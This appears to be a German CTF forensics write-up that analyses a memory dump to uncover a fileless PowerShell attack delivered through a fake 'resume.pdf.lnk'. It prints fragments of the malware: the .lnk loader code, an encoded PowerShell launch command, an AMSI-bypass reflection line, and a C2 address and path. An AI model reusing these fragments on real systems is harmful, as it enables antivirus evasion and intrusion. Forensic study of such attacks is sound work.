Schritt 1: Identifizierung des Dateiformats #
Zunächst wurde die bereitgestellte Datei mit dem Befehl file analysiert:
Befehl: file flounder-pc-memdump
Ergebnis: flounder-pc-memdump.elf: ELF 64-bit LSB core file, x86-64, version 1 (SYSV)
Schritt 2: Informationsgewinnung #
Da auf modernen Windows-Systemen für "Fileless"-Angriffe häufig Powershell verwendet wird, wurde hier im Core-Dump nach dem Wort "Powershell" gesucht. (Forensik Tools wie Volatility oder GDB würden dies vereinfachen).
Befehl: strings -a flounder-pc-memdump.elf | grep -Ei "powershell|base64" | grep -i "enc"
Erklärung des Befehls:
- strings: Sucht nach druckbaren Zeichenfolgen in einer Binärdatei
- -a (all): Anweisung die gesamte Datei zu scannen
- grep: Filtert nach bestimmten Mustern in Dateien
- -E (Extended Regex): Ermöglicht die Nutzung des Pipesymbols | innerhalb der Suchbegriffe als "ODER"-Verknüpfung)
- -i (ignore case): Sucht unabhängig von Groß- und Kleinschreibung (findet also PowerShell, powershell und POWERSHELL)
- "powershell|base64": Gibt Zeilen, die entweder "powershell" oder "base64" enthalten zurück
Ergebnis (wichtige Sektionen):
(1)
$stP,$siP=3230,9676;$f='resume.pdf.lnk';if(-not(Test-Path $f)){$x=Get-ChildItem -Path $env:temp -Filter $f -Recurse;[IO.Directory]::SetCurrentDirectory($x.DirectoryName);}$lnk=New-Object IO.FileStream $f,'Open','Read','ReadWrite';$b64=New-Object byte[]($siP);$lnk.Seek($stP,[IO.SeekOrigin]::Begin);$lnk.Read($b64,0,$siP);$b64=[Convert]::FromBase64CharArray($b64,0,$b64.Length);$scB=[Text.Encoding]::Unicode.G
(2)
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc JABHAHIAbwBVAFA... (langer BASE64 String)
(3)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')...SetValue($Null,$True)
Schritt 3: Analyse der Funde #
Die Analyse der Strings ergab zwei entscheidende Phasen der Infektion:
Phase 1: Der Dropper (resume.pdf.lnk) (1) enthält folgendes: $f='resume.pdf.lnk'; ... $lnk.Read($b64,0,$siP);
- Erkenntnis: Der Recruiter erhielt keine PDF-Datei, sondern eine getarnte Windows-Verknüpfung (.lnk).
- Funktion: Das Skript liest versteckten Base64-Code direkt aus der .lnk-Datei aus und führt ihn im Speicher aus. Dies verhindert, dass eine verdächtige .exe-Datei auf der Festplatte landet.
Phase 2: Der verschleierte Payload (2) zeigt einen sehr großen Base64 codierten Block. Der Parameter -enc (EncodedCommand) bedeutet, dass der gesamte folgende Block verschlüsselter/kodierter Code ist, um Sicherheitssoftware zu umgehen.
Schritt 4: Dekodierung des Payloads #
Um den Inhalt zu verstehen, muss der Base64-String also dekodiert werden:
Befehl:
echo "JABHAHIAbwBVAFAAUABPAEw..." | base64 -D
Am Ende des dekodierten Base64 Skripts steht nun die Flag.
Für Interessierte: Analyse des dekodierten Codes:
- Antiviren-Bypass: Der Code nutzt Reflection, um das AMSI (Antimalware Scan Interface) zu deaktivieren (amsiInitFailed = true).
- Logging deaktivieren: Das Script-Block-Logging wird auf 0 gesetzt, damit Windows keine Spuren des Angriffs in den Event-Logs speichert.
- C2-Verbindung: Es wird eine Verbindung zum Command-and-Control-Server des Angreifers aufgebaut:
$ser='http://10.10.99.55:80'; $t='/login/process.php'; - Exfiltration: Ein Session-Cookie wird gesetzt, um das Opfer zu identifizieren.
Zusammenfassung der Forensik #
- Angriffsvektor: Phishing-E-Mail mit schädlicher Verknüpfungsdatei
- Technik: Fileless PowerShell Execution, AMSI-Bypass
- C2-Server: 10.10.99.55
- Take-away: Memory-Dumps enthalten oft demaskierte Skripte im Klartext, selbst wenn diese auf der Festplatte verschlüsselt waren
Writeup by THElusional Post id - thel16678